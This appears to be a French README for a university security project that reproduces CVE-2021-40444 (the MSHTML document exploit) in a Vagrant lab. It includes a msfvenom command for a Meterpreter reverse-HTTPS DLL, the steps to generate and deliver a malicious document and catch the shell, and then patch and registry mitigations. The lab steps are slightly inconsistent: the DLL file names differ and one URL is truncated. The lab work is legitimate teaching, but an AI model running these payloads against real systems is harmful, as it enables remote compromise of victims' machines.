TIC4301_Project

Projet TIC4301 - CVE-2021-40444

Téléchargez les boîtes Vagrant suivantes :
Kali - https://drive.google.com/file/d/1RegQcT2jjFoaQRgLjXDYl4iS0HNt_mU2/view?usp=sharing
Win10 - https://drive.google.com/file/d/1zcLertRoI-FrHDkRq1NO-KHaF88bMv6e/view?usp=sharing

Importez les boîtes avec les commandes suivantes via vagrant :

1. vagrant box add kali_package.box
2. vagrant box add victim_package.box
3. vagrant init kali_package.box
4. vagrant init victim_package.box
5. vagrant up

Configuration (win10) :

1. Dans la boîte win10, connectez-vous en tant qu'administrateur avec le mot de passe vagrant.
2. Faites un clic droit sur script.ps1 sur le bureau et exécutez-le avec PowerShell. (Laissez cette fenêtre ouverte)
3. Exécutez ipconfig.exe et obtenez l'adresse de cet hôte.

Configuration (Kali) :

1. cd Desktop/CVE-2021-40444.
2. Générez votre DLL malveillante avec msfvenom. # msfvenom -p windows/x64/meterpreter/reverse_https LHOST=eth1 LPORT=443 -f dll -o test/shell.dll
3. Démarrez un listener dans Metasploit.
4. Générez le document malveillant. # python3 exploit.py generate test/calc.dll http://
5. visitez http://<win 10 IP>/upload et téléversez le fichier.
6. écoutez le shell.

Mesures d'atténuation :

1. Installez le correctif KB5005565.
2. Modifiez la base de registre Windows avec patch.reg dans le dépôt.